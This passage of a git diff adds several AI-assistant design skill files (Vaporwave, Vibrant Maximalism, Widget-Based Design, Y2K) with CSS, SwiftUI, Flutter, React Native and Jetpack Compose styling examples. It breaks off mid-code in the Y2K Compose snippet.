Window */ +.vapor-window { + background-color: #C0C0C0; + border: 2px outset #fff; + border-right-color: #808080; + border-bottom-color: #808080; + width: 400px; + padding: 2px; +} + +.vapor-titlebar { + background: linear-gradient(90deg, #000080, #1084d0); + color: white; + font-weight: bold; + padding: 4px 8px; + display: flex; + justify-content: space-between; +} + +.vapor-button { + background-color: #C0C0C0; + border: 2px outset #fff; + border-right-color: #808080; + border-bottom-color: #808080; + padding: 4px 12px; +} +.vapor-button:active { + border-style: inset; +} + +/* The iconic vaporwave sun/grid */ +.vapor-sun { + width: 200px; height: 200px; + background: linear-gradient(to bottom, #ff00ff, #ffff00); + border-radius: 50%; + box-shadow: 0 0 20px #ff00ff; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct VaporwaveView: View { + var body: some View { + ZStack { + // Neon Gradient Background + LinearGradient(colors: [Color(hex: "ff99cc"), Color(hex: "99ccff")], startPoint: .top, endPoint: .bottom) + .ignoresSafeArea() + + // Win95 Window + VStack(spacing: 0) { + // Title Bar + HStack { + Text("AESTHETIC.exe") + .font(.system(size: 14, weight: .bold, design: .monospaced)) + .foregroundColor(.white) + Spacer() + Text("X") + .font(.system(size: 12, weight: .bold)) + .padding(.horizontal, 6) + .background(Color(hex: "C0C0C0")) + .border(.white, width: 1) // Faux 3D + } + .padding(4) + .background(LinearGradient(colors: [Color(hex: "000080"), Color(hex: "1084d0")], startPoint: .leading, endPoint: .trailing)) + + // Content + VStack { + Text("It's all in your head.") + .font(.custom("Tahoma", size: 16)) + .padding() + + // Win95 Button + Button(action: {}) { + Text("OK") + .foregroundColor(.black) + .padding(.horizontal, 24) + .padding(.vertical, 8) + } + .background(Color(hex: "C0C0C0")) + // Complex borders to simulate Outset + .overlay( + Rectangle().stroke(Color.black, lineWidth: 1) // Outer bottom/right + ) + .overlay( + Rectangle().stroke(Color.white, lineWidth: 1).padding(1) // Inner top/left + ) + } + .frame(maxWidth: .infinity) + .padding(16) + .background(Color(hex: "C0C0C0")) + } + .frame(width: 300) + // Outset border for window + .border(Color(hex: "808080"), width: 2) + .padding() + } + } +} +``` +- You cannot use `.cornerRadius()` anywhere in Vaporwave design. +- The Win95 3D bevel is achieved by stacking `.border()` and `.overlay(Rectangle().stroke())` with different colors (white for top/left, dark gray for bottom/right). + +### Flutter +```dart +class VaporwaveScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: Container( + decoration: const BoxDecoration( + gradient: LinearGradient(begin: Alignment.topCenter, end: Alignment.bottomCenter, colors: [Color(0xFFFF99CC), Color(0xFF99CCFF)]), + ), + child: Center( + child: Container( + width: 300, + decoration: const BoxDecoration( + color: Color(0xFFC0C0C0), + // Classic Win95 Outset Border + border: Border( + top: BorderSide(color: Colors.white, width: 2), + left: BorderSide(color: Colors.white, width: 2), + bottom: BorderSide(color: Color(0xFF808080), width: 2), + right: BorderSide(color: Color(0xFF808080), width: 2), + ), + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + // Title Bar + Container( + padding: const EdgeInsets.symmetric(horizontal: 4, vertical: 2), + margin: const EdgeInsets.all(2), + decoration: const BoxDecoration(gradient: LinearGradient(colors: [Color(0xFF000080), Color(0xFF1084D0)])), + child: Row( + mainAxisAlignment: MainAxisAlignment.spaceBetween, + children: [ + const Text('AESTHETIC.exe', style: TextStyle(color: Colors.white, fontWeight: FontWeight.bold)), + Container(color: const Color(0xFFC0C0C0), padding: const EdgeInsets.symmetric(horizontal: 4), child: const Text('X', style: TextStyle(fontWeight: FontWeight.bold))), + ], + ), + ), + // Content + Padding( + padding: const EdgeInsets.all(16.0), + child: Column( + children: [ + const Text('nostalgia.sys loaded.', style: TextStyle(fontFamily: 'Tahoma')), + const SizedBox(height: 16), + // Outset Button + Container( + padding: const EdgeInsets.symmetric(horizontal: 24, vertical: 8), + decoration: const BoxDecoration( + color: Color(0xFFC0C0C0), + border: Border( + top: BorderSide(color: Colors.white, width: 2), left: BorderSide(color: Colors.white, width: 2), + bottom: BorderSide(color: Color(0xFF808080), width: 2), right: BorderSide(color: Color(0xFF808080), width: 2), + ), + ), + child: const Text('OK'), + ) + ], + ), + ) + ], + ), + ), + ), + ), + ); + } +} +``` +- Flutter's `BoxDecoration` supports complex `Border` definitions where you can set `BorderSide` colors independently. This perfectly recreates CSS `outset` / `inset`. + +### React Native +```jsx +const VaporwaveScreen = () => { + return ( + + + {/* Window */} + + + {/* Title Bar */} + + AESTHETIC.exe + X + + + + nostalgia.sys + + {/* Outset Button */} + + OK + + + + + + + ); +}; +``` +- Use independent border color styles (`borderTopColor: '#FFF'`, `borderBottomColor: '#808080'`) to build 90s OS chroming. +- Make sure to use Japanese fullwidth characters for text for maximum vaporwave aesthetic. + +### Jetpack Compose +```kotlin +@Composable +fun VaporwaveScreen() { + Box( + modifier = Modifier + .fillMaxSize() + .background(Brush.verticalGradient(listOf(Color(0xFFFF99CC), Color(0xFF99CCFF)))), + contentAlignment = Alignment.Center + ) { + // Window + Column( + modifier = Modifier + .width(300.dp) + // Custom drawn Outset border + .drawBehind { + val stroke = 4f + // Bottom/Right (Dark) + drawLine(Color(0xFF808080), Offset(0f, size.height), Offset(size.width, size.height), stroke) + drawLine(Color(0xFF808080), Offset(size.width, 0f), Offset(size.width, size.height), stroke) + // Top/Left (Light) + drawLine(Color.White, Offset(0f, 0f), Offset(size.width, 0f), stroke) + drawLine(Color.White, Offset(0f, 0f), Offset(0f, size.height), stroke) + } + .background(Color(0xFFC0C0C0)) + .padding(2.dp) + ) { + // Title Bar + Row( + modifier = Modifier + .fillMaxWidth() + .background(Brush.horizontalGradient(listOf(Color(0xFF000080), Color(0xFF1084D0)))) + .padding(4.dp), + horizontalArrangement = Arrangement.SpaceBetween + ) { + Text("AESTHETIC.exe", color = Color.White, fontWeight = FontWeight.Bold) + Box(modifier = Modifier.background(Color(0xFFC0C0C0)).padding(horizontal = 4.dp)) { + Text("X", fontWeight = FontWeight.Bold) + } + } + + // Content + Column(modifier = Modifier.fillMaxWidth().padding(16.dp), horizontalAlignment = Alignment.CenterHorizontally) { + Text("Welcome to the 90s.", fontFamily = FontFamily.Monospace) + Spacer(Modifier.height(16.dp)) + + // Win95 Button + Box( + modifier = Modifier + .clickable { } + .drawBehind { + val stroke = 4f + drawLine(Color(0xFF808080), Offset(0f, size.height), Offset(size.width, size.height), stroke) + drawLine(Color(0xFF808080), Offset(size.width, 0f), Offset(size.width, size.height), stroke) + drawLine(Color.White, Offset(0f, 0f), Offset(size.width, 0f), stroke) + drawLine(Color.White, Offset(0f, 0f), Offset(0f, size.height), stroke) + } + .padding(horizontal = 24.dp, vertical = 8.dp) + ) { + Text("OK", fontWeight = FontWeight.Bold) + } + } + } + } +} +``` +- Compose's `Modifier.border` draws on all sides equally. To achieve the 90s outset look, you must use `Modifier.drawBehind` and manually draw the top/left lines in white and bottom/right lines in dark gray. + +## Do's and Don'ts +- **DO**: Use authentic 90s icons (pixelated hourglasses, folders, error dialogs). +- **DON'T**: Use modern drop shadows or rounded corners. The 90s UI was sharp and jagged. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/vibrant-maximalism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/vibrant-maximalism/SKILL.md new file mode 100644 index 00000000..86238a18 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/vibrant-maximalism/SKILL.md @@ -0,0 +1,291 @@ +--- +name: vibrant-maximalism +description: Web and App implementation guide for Vibrant Maximalism. Trigger when user wants rich colors, dense layouts, extreme sensory input, and "more is more". +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Vibrant Maximalism + +> "More is more. An explosion of color, pattern, and typography." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Sensory Overload**: Every pixel is doing something. Patterns on top of gradients on top of photos. +2. **Clashing Colors**: Forget the standard rules of color harmony. Pair neon green with hot pink, or bright orange with electric blue. +3. **Multiple Fonts**: Mix 3 or 4 completely different typefaces in the same layout. + +## Visual DNA +- **Colors**: All of them. Highly saturated, unmuted hues. No calm neutrals allowed. +- **Typography**: A chaotic mix. A massive serif headline, a bubble-letter subhead, and a monospace body text. +- **Visuals**: Stickers, repeating patterns, emojis, 3D renders, and marquee scrolling text. + +## Web Implementation +- **CSS Example**: +```css +body { + /* Complex clashing background */ + background: + radial-gradient(circle at 20% 30%, #FF00FF 0%, transparent 40%), + radial-gradient(circle at 80% 70%, #00FFFF 0%, transparent 40%), + url('checkerboard-pattern.png') repeat; + background-color: #FFFF00; + color: #000; + overflow-x: hidden; +} + +.max-headline { + font-family: 'Anton', sans-serif; + font-size: 8rem; + text-transform: uppercase; + line-height: 0.8; + color: #FF0000; + /* Crazy shadow effect */ + text-shadow: + 4px 4px 0px #000, + 8px 8px 0px #00FFFF, + 12px 12px 0px #FF00FF; + transform: rotate(-3deg); +} + +.max-sticker { + position: absolute; + background: #000; + color: #00FF00; + font-family: monospace; + padding: 10px; + border-radius: 50%; + width: 100px; + height: 100px; + display: flex; + align-items: center; + justify-content: center; + text-align: center; + border: 4px dashed #FF00FF; + animation: spin 10s linear infinite; +} + +@keyframes spin { 100% { transform: rotate(360deg); } } + +.max-card { + background: rgba(255, 255, 255, 0.9); + border: 5px solid #000; + box-shadow: 10px 10px 0px #0000FF; + padding: 40px; + border-radius: 0 40px 0 40px; /* Weird asymmetrical corners */ +} +``` + +## App Implementation + +### SwiftUI +```swift +struct VibrantMaximalismView: View { + var body: some View { + ScrollView { + ZStack { + // Chaotic Layered Background + Color(hex: "FFFF00").ignoresSafeArea() // Pure Yellow + + Circle() + .fill(RadialGradient(colors: [Color(hex: "FF00FF"), .clear], center: .center, startRadius: 0, endRadius: 200)) + .frame(width: 400, height: 400) + .offset(x: -100, y: -200) + + Circle() + .fill(RadialGradient(colors: [Color(hex: "00FFFF"), .clear], center: .center, startRadius: 0, endRadius: 200)) + .frame(width: 400, height: 400) + .offset(x: 150, y: 200) + + // Content + VStack(spacing: 40) { + Text("OVERLOAD") + .font(.custom("Anton", size: 80)) + .foregroundColor(Color(hex: "FF0000")) + .shadow(color: .black, radius: 0, x: 4, y: 4) + .shadow(color: Color(hex: "00FFFF"), radius: 0, x: 8, y: 8) + .rotationEffect(.degrees(-3)) + + // Weird shaped card + VStack { + Text("More is more.") + .font(.system(size: 24, weight: .black, design: .monospaced)) + } + .padding(40) + .background(Color.white.opacity(0.9)) + .border(.black, width: 5) + .cornerRadius(40, corners: [.topRight, .bottomLeft]) // Custom corner radius extension needed + .shadow(color: Color(hex: "0000FF"), radius: 0, x: 10, y: 10) + } + } + } + } +} +``` +- Layer multiple `RadialGradient`s in a `ZStack` behind the content to create the complex, clashing color blobs. +- Use multiple hard drop shadows (radius 0, but large X/Y offsets) in clashing colors to build the loud text effect. + +### Flutter +```dart +class VibrantMaximalismScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: Stack( + children: [ + // Background Color + Container(color: const Color(0xFFFFFF00)), + // Gradient Blob 1 + Positioned( + top: -100, left: -100, + child: Container( + width: 400, height: 400, + decoration: const BoxDecoration( + shape: BoxShape.circle, + gradient: RadialGradient(colors: [Color(0xFFFF00FF), Colors.transparent]), + ), + ), + ), + + Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + Transform.rotate( + angle: -0.05, // Slight tilt + child: const Text( + 'OVERLOAD', + style: TextStyle( + fontFamily: 'Anton', fontSize: 80, color: Color(0xFFFF0000), + shadows: [ + Shadow(color: Colors.black, offset: Offset(4, 4)), + Shadow(color: Color(0xFF00FFFF), offset: Offset(8, 8)), + ] + ), + ), + ), + const SizedBox(height: 40), + + // Weird asymmetrical card + Container( + padding: const EdgeInsets.all(40), + decoration: BoxDecoration( + color: Colors.white.withOpacity(0.9), + border: Border.all(color: Colors.black, width: 5), + borderRadius: const BorderRadius.only(topRight: Radius.circular(40), bottomLeft: Radius.circular(40)), + boxShadow: const [BoxShadow(color: Color(0xFF0000FF), offset: Offset(10, 10))], + ), + child: const Text('More is more.', style: TextStyle(fontFamily: 'Courier', fontSize: 24, fontWeight: FontWeight.bold)), + ) + ], + ), + ), + ], + ), + ); + } +} +``` +- Flutter's `Stack` with `Positioned` widgets lets you throw clashing radial gradients anywhere on the screen easily. +- Apply `BorderRadius.only` to create bizarre, asymmetrical containers that break typical UI norms. + +### React Native +```jsx +const VibrantMaximalismScreen = () => { + return ( + + + {/* Emulating radial blobs in RN usually requires SVG or ImageBackground. For simplicity, we use absolute views here */} + + + + + {/* Loud Text */} + + OVERLOAD + + + {/* Asymmetrical Card */} + + More is more. + + + + + ); +}; +``` +- Use `textShadowRadius: 0` to create hard, offset, brutalist-style text shadows in clashing colors (e.g. Red text with a Cyan hard shadow). +- Apply `transform: [{ rotate: '-3deg' }]` to break alignment intentionally. + +### Jetpack Compose +```kotlin +@Composable +fun VibrantMaximalismScreen() { + Box(modifier = Modifier.fillMaxSize().background(Color(0xFFFFFF00))) { + + // Emulated Radial Gradients + Box(modifier = Modifier.offset(x = (-100).dp, y = (-100).dp).size(400.dp).background(Brush.radialGradient(listOf(Color(0xFFFF00FF), Color.Transparent)))) + Box(modifier = Modifier.offset(x = 100.dp, y = 300.dp).size(400.dp).background(Brush.radialGradient(listOf(Color(0xFF00FFFF), Color.Transparent)))) + + Column( + modifier = Modifier.fillMaxSize().padding(40.dp), + horizontalAlignment = Alignment.CenterHorizontally, + verticalArrangement = Arrangement.Center + ) { + // Rotated Headline + Text( + text = "OVERLOAD", + fontSize = 80.sp, + fontFamily = FontFamily.SansSerif, // Replace with Anton + color = Color(0xFFFF0000), + modifier = Modifier.rotate(-3f), + style = TextStyle( + shadow = Shadow(color = Color(0xFF00FFFF), offset = Offset(16f, 16f), blurRadius = 0f) + ) + ) + + Spacer(Modifier.height(60.dp)) + + // Asymmetrical Card + Box( + modifier = Modifier + .shadow(elevation = 0.dp) // Reset default shadow + // Custom hard shadow trick: draw the shadow shape first + .offset(10.dp, 10.dp) + .background(Color(0xFF0000FF), RoundedCornerShape(topEnd = 40.dp, bottomStart = 40.dp)) + .offset((-10).dp, (-10).dp) + .background(Color.White.copy(alpha = 0.9f), RoundedCornerShape(topEnd = 40.dp, bottomStart = 40.dp)) + .border(5.dp, Color.Black, RoundedCornerShape(topEnd = 40.dp, bottomStart = 40.dp)) + .padding(40.dp) + ) { + Text("More is more.", fontFamily = FontFamily.Monospace, fontSize = 24.sp, fontWeight = FontWeight.Black) + } + } + } +} +``` +- `Brush.radialGradient` works perfectly for dropping color blobs into the background. +- Compose's default `shadow` modifier blurs edges. To get a hard, brutalist shadow in Compose, render an identical shape offset behind the main shape with a solid color. + +## Do's and Don'ts +- **DO**: Break the grid. Let elements overlap awkwardly. +- **DON'T**: Use whitespace. If there is an empty area, fill it with a pattern, a marquee, or a giant emoji. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/widget-based-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/widget-based-design/SKILL.md new file mode 100644 index 00000000..88ff7525 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/widget-based-design/SKILL.md @@ -0,0 +1,274 @@ +--- +name: widget-based-design +description: Web and App implementation guide for Widget-Based Design. Trigger when user wants modular blocks, iOS Home Screen aesthetics, and customizable mini-apps. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Widget-Based Design + +> "Miniature applications. Small, highly functional blocks of UI designed to be rearranged." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Strict Aspect Ratios**: Widgets usually follow strict sizes (1x1 square, 2x1 rectangle, 2x2 large square). +2. **Glanceability**: Widgets show the most important piece of data instantly. Deep interaction usually requires opening the full app. +3. **Corner Radius Match**: The inner content's border radius should perfectly nest within the widget's outer border radius. + +## Visual DNA +- **Colors**: Widgets often use bright, solid color backgrounds or full-bleed photos to differentiate themselves. +- **Typography**: Large, bold numbers (like a clock or weather temp) paired with tiny sub-labels. +- **Layout**: Similar to Bento UI, but specifically focused on functional app-lets rather than just content layout. + +## Web Implementation +- **CSS Example**: +```css +.widget-grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(160px, 1fr)); + grid-auto-rows: 160px; /* Force squares */ + gap: 16px; + padding: 32px; +} + +.widget { + background-color: #ffffff; + border-radius: 24px; /* Classic iOS widget radius */ + box-shadow: 0 8px 24px rgba(0,0,0,0.08); + padding: 16px; + display: flex; + flex-direction: column; + justify-content: space-between; + overflow: hidden; + position: relative; +} + +/* Specific Sizes */ +.widget-small { grid-column: span 1; grid-row: span 1; } +.widget-medium { grid-column: span 2; grid-row: span 1; } +.widget-large { grid-column: span 2; grid-row: span 2; } + +/* Weather Widget Example */ +.widget.weather { + background: linear-gradient(135deg, #4facfe 0%, #00f2fe 100%); + color: white; +} +.weather-temp { font-size: 3rem; font-weight: 300; } +.weather-icon { position: absolute; top: 16px; right: 16px; font-size: 2rem; } +``` + +## App Implementation + +### SwiftUI +```swift +struct WidgetDesignView: View { + let columns = [GridItem(.flexible(), spacing: 16), GridItem(.flexible(), spacing: 16)] + + var body: some View { + ScrollView { + LazyVGrid(columns: columns, spacing: 16) { + // 2x1 Widget + WeatherWidget() + .frame(height: 160) // Base unit height + + // 1x1 Widget + FitnessWidget() + .frame(height: 160) + + // 1x1 Widget + MusicWidget() + .frame(height: 160) + } + .padding(24) + } + .background(Color(white: 0.95)) + } +} + +struct WeatherWidget: View { + var body: some View { + ZStack(alignment: .topTrailing) { + LinearGradient(colors: [Color(hex: "4facfe"), Color(hex: "00f2fe")], startPoint: .topLeading, endPoint: .bottomTrailing) + + Image(systemName: "cloud.sun.fill") + .foregroundColor(.white) + .font(.system(size: 40)) + .padding() + + VStack(alignment: .leading) { + Spacer() + Text("72°") + .font(.system(size: 48, weight: .thin)) + .foregroundColor(.white) + Text("San Francisco") + .font(.subheadline) + .foregroundColor(.white.opacity(0.8)) + } + .frame(maxWidth: .infinity, alignment: .leading) + .padding() + } + .cornerRadius(24) // Classic iOS widget radius + .shadow(color: .black.opacity(0.1), radius: 10, y: 5) + } +} +``` +- SwiftUI is perfect for this. The `LazyVGrid` handles the layout, and `cornerRadius(24)` matches Apple's default widget styling perfectly. +- Use `ZStack` as the root of the widget to easily overlay content on top of complex gradients or images. + +### Flutter +```dart +class WidgetDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFFF2F2F2), + body: GridView.count( + crossAxisCount: 2, // 2 columns for a typical phone + padding: const EdgeInsets.all(24), + mainAxisSpacing: 16, + crossAxisSpacing: 16, + childAspectRatio: 1.0, // 1x1 squares + children: [ + // Note: Flutter GridView doesn't easily span rows/cols out of the box. + // flutter_staggered_grid_view is highly recommended for real widget layouts. + _buildWeatherWidget(), + _buildFitnessWidget(), + _buildMusicWidget(), + ], + ), + ); + } + + Widget _buildWeatherWidget() { + return Container( + decoration: BoxDecoration( + borderRadius: BorderRadius.circular(24), + gradient: const LinearGradient(colors: [Color(0xFF4FACFE), Color(0xFF00F2FE)]), + boxShadow: [BoxShadow(color: Colors.black.withOpacity(0.1), blurRadius: 10, offset: const Offset(0, 5))], + ), + padding: const EdgeInsets.all(16), + child: Stack( + children: [ + const Align( + alignment: Alignment.topRight, + child: Icon(Icons.cloud, color: Colors.white, size: 40), + ), + Align( + alignment: Alignment.bottomLeft, + child: Column( + mainAxisSize: MainAxisSize.min, + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text('72°', style: TextStyle(color: Colors.white, fontSize: 48, fontWeight: FontWeight.w300)), + Text('San Francisco', style: TextStyle(color: Colors.white.withOpacity(0.8), fontSize: 14)), + ], + ), + ) + ], + ), + ); + } +} +``` +- A `Stack` inside a `Container` with `BorderRadius.circular(24)` is the blueprint for every widget. +- Standard `GridView` is too rigid for mixed 2x1 and 1x1 widgets. Use the `flutter_staggered_grid_view` package for production apps. + +### React Native +```jsx +const WidgetDesignScreen = () => { + return ( + + + + {/* 2x1 Widget (Full width minus padding) */} + + + 72° + San Francisco + + + {/* 1x1 Widgets (Half width minus half gap) */} + Fitness + Music + + + + ); +}; + +const styles = StyleSheet.create({ + widget: { + height: 160, // Fixed height forces square/rectangular aspect ratios + borderRadius: 24, + backgroundColor: '#FFF', + padding: 16, + justifyContent: 'flex-end', + shadowColor: '#000', shadowOffset: { width: 0, height: 5 }, shadowOpacity: 0.1, shadowRadius: 10, elevation: 5, + overflow: 'hidden' + }, + widgetBg: { + ...StyleSheet.absoluteFillObject, + borderRadius: 24, + }, + temp: { fontSize: 48, fontWeight: '300', color: '#FFF' }, + sub: { fontSize: 14, color: 'rgba(255,255,255,0.8)' } +}); +``` +- In React Native, `flexWrap: 'wrap'` combined with percentage widths (e.g., `47%` for 2 columns with a gap) is the cleanest way to build a responsive widget layout. +- If using `LinearGradient` from `expo-linear-gradient` or `react-native-linear-gradient`, apply `StyleSheet.absoluteFillObject` so it sits behind the text. + +### Jetpack Compose +```kotlin +@Composable +fun WidgetDesignScreen() { + LazyVerticalGrid( + columns = GridCells.Fixed(2), + modifier = Modifier.fillMaxSize().background(Color(0xFFF2F2F2)).padding(24.dp), + horizontalArrangement = Arrangement.spacedBy(16.dp), + verticalArrangement = Arrangement.spacedBy(16.dp) + ) { + // 2x1 Widget (Spans both columns) + item(span = { GridItemSpan(2) }) { + WeatherWidget(Modifier.height(160.dp)) + } + // 1x1 Widgets + item { Box(Modifier.height(160.dp).background(Color.White, RoundedCornerShape(24.dp))) } + item { Box(Modifier.height(160.dp).background(Color.White, RoundedCornerShape(24.dp))) } + } +} + +@Composable +fun WeatherWidget(modifier: Modifier = Modifier) { + Box( + modifier = modifier + .fillMaxWidth() + .shadow(10.dp, RoundedCornerShape(24.dp)) + .background(Brush.linearGradient(listOf(Color(0xFF4FACFE), Color(0xFF00F2FE))), RoundedCornerShape(24.dp)) + .padding(16.dp) + ) { + // Icon + Icon(Icons.Filled.Cloud, contentDescription = null, tint = Color.White, modifier = Modifier.align(Alignment.TopEnd).size(40.dp)) + + // Data + Column(modifier = Modifier.align(Alignment.BottomStart)) { + Text("72°", fontSize = 48.sp, fontWeight = FontWeight.Light, color = Color.White) + Text("San Francisco", fontSize = 14.sp, color = Color.White.copy(alpha = 0.8f)) + } + } +} +``` +- `LazyVerticalGrid` with `GridCells.Fixed(2)` and `GridItemSpan` perfectly recreate iOS widget grids. +- `RoundedCornerShape(24.dp)` is essential to sell the look. + +## Do's and Don'ts +- **DO**: Use full-bleed background colors to make different widgets stand out. +- **DON'T**: Put complex forms or scrollable lists inside a 1x1 widget. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/y2k-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/y2k-design/SKILL.md new file mode 100644 index 00000000..471c4366 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/design-it/y2k-design/SKILL.md @@ -0,0 +1,268 @@ +--- +name: y2k-design +description: Web and App implementation guide for Y2K Design. Trigger when user wants chrome effects, futuristic 2000s look, blob shapes, and tech optimism. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Y2K Design + +> "The optimistic, shiny future as imagined in 1999. Chrome, blobs, and alien tech." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Metallic & Chrome Effects**: Extensive use of silver, chrome, and shiny metallic gradients. +2. **Organic, Amorphous Shapes**: "Blob" architecture, curved intersecting lines, and liquid-like forms. +3. **Tech-Optimism**: Circuit board motifs, target crosshairs, and digital grid backgrounds. + +## Visual DNA +- **Colors**: Silver/chrome, bright cyan, hot pink, lime green. **Industrial Chic** mixed with neon accents works well. +- **Typography**: Extended (wide) sans-serifs, pixel fonts, or futuristic/alien display fonts (e.g., `Orbitron`, `Syncopate`). +- **Styling**: Outer glows, metallic bevels, and starry glints (sparkles). + +## Web Implementation +- Rely heavily on complex linear and radial gradients to simulate shiny metal. +- **CSS Example**: +```css +body { + background-color: #000000; + /* Digital grid background */ + background-image: linear-gradient(#333 1px, transparent 1px), + linear-gradient(90deg, #333 1px, transparent 1px); + background-size: 20px 20px; + color: #ffffff; + font-family: 'Syncopate', sans-serif; +} + +.y2k-chrome-text { + font-size: 4rem; + font-weight: 900; + text-transform: uppercase; + + /* Chrome gradient effect */ + background: linear-gradient( + to bottom, + #ffffff 0%, + #999999 45%, + #222222 50%, + #cccccc 55%, + #ffffff 100% + ); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + + /* Outer glow */ + filter: drop-shadow(0 0 10px rgba(0, 255, 255, 0.5)); +} + +.y2k-blob-btn { + background: linear-gradient(135deg, #00FFFF, #FF00FF); + border: none; + border-radius: 50% 20% / 10% 40%; /* Amorphous blob shape */ + padding: 20px 40px; + color: #fff; + font-weight: bold; + text-shadow: 1px 1px 2px #000; + box-shadow: 0 0 15px #FF00FF; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct Y2KDesignView: View { + // Chrome Gradient + let chromeGradient = LinearGradient( + colors: [Color.white, Color(white: 0.6), Color(white: 0.2), Color(white: 0.8), Color.white], + startPoint: .top, + endPoint: .bottom + ) + + var body: some View { + ZStack { + Color.black.ignoresSafeArea() + + VStack(spacing: 40) { + // Chrome Text + Text("Y2K FUTURE") + .font(.custom("Syncopate-Bold", size: 48)) + .foregroundStyle(chromeGradient) + // Cyan glow + .shadow(color: Color(hex: "00FFFF"), radius: 10, x: 0, y: 0) + + // Blob Button (Faked with Capsule in standard SwiftUI, requires Path for true blob) + Button(action: {}) { + Text("ENTER CORE") + .font(.custom("Orbitron-Bold", size: 20)) + .foregroundColor(.white) + .padding(.vertical, 20) + .padding(.horizontal, 40) + .background(LinearGradient(colors: [Color(hex: "00FFFF"), Color(hex: "FF00FF")], startPoint: .topLeading, endPoint: .bottomTrailing)) + .clipShape(Capsule()) + // Glow + .shadow(color: Color(hex: "FF00FF").opacity(0.8), radius: 15, x: 0, y: 0) + } + } + } + } +} +``` +- SwiftUI's `.foregroundStyle()` makes applying a complex multi-stop `LinearGradient` to text trivial, which is exactly how you build the Chrome Text effect. +- Add an un-offset `.shadow()` with a neon color to create the Y2K outer glow. + +### Flutter +```dart +class Y2KDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.black, + body: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Chrome Text via ShaderMask + ShaderMask( + shaderCallback: (bounds) => const LinearGradient( + begin: Alignment.topCenter, end: Alignment.bottomCenter, + colors: [Colors.white, Color(0xFF999999), Color(0xFF222222), Color(0xFFCCCCCC), Colors.white], + stops: [0.0, 0.45, 0.5, 0.55, 1.0], + ).createShader(bounds), + child: const Text( + 'Y2K FUTURE', + style: TextStyle( + fontFamily: 'Syncopate', fontSize: 48, fontWeight: FontWeight.w900, color: Colors.white, + shadows: [Shadow(color: Color(0xFF00FFFF), blurRadius: 20)], // Glow + ), + ), + ), + const SizedBox(height: 40), + + // Neon Button + Container( + decoration: BoxDecoration( + gradient: const LinearGradient(colors: [Color(0xFF00FFFF), Color(0xFFFF00FF)]), + borderRadius: BorderRadius.circular(50), + boxShadow: const [BoxShadow(color: Color(0xFFFF00FF), blurRadius: 20)], + ), + child: ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + backgroundColor: Colors.transparent, shadowColor: Colors.transparent, + padding: const EdgeInsets.symmetric(horizontal: 40, vertical: 20), + ), + child: const Text('ENTER CORE', style: TextStyle(fontFamily: 'Orbitron', fontSize: 20, color: Colors.white)), + ), + ) + ], + ), + ), + ); + } +} +``` +- You MUST use `ShaderMask` with a complex multi-stop `LinearGradient` to render the metallic chrome effect on text in Flutter. +- The `stops` property `[0.0, 0.45, 0.5, 0.55, 1.0]` is the secret to a good metal gradient: a sharp contrast right in the middle simulates the horizon reflection on a cylinder. + +### React Native +```jsx +// REQUIRES: @react-native-masked-view/masked-view and react-native-linear-gradient +import MaskedView from '@react-native-masked-view/masked-view'; +import LinearGradient from 'react-native-linear-gradient'; + +const Y2KDesignScreen = () => { + return ( + + + {/* Chrome Text */} + + Y2K FUTURE} + > + + + + + {/* Neon Gradient Button */} + + + ENTER CORE + + + + + ); +}; +``` +- In React Native, you need the community `MaskedView` to apply a gradient to text. Create the `` in the `maskElement` prop, and put the `` inside as a child. +- Pass `locations` to the gradient to create the sharp metallic reflection line. + +### Jetpack Compose +```kotlin +@Composable +fun Y2KDesignScreen() { + Box( + modifier = Modifier.fillMaxSize().background(Color.Black), + contentAlignment = Alignment.Center + ) { + Column(horizontalAlignment = Alignment.CenterHorizontally) { + + // Chrome Text + Text( + text = "Y2K FUTURE", + fontSize = 48.sp, + fontFamily = FontFamily.SansSerif, // Replace with Syncopate + fontWeight = FontWeight.Black, + style = TextStyle( + // Apply Chrome Gradient to Text + brush = Brush.verticalGradient( + 0.0f to 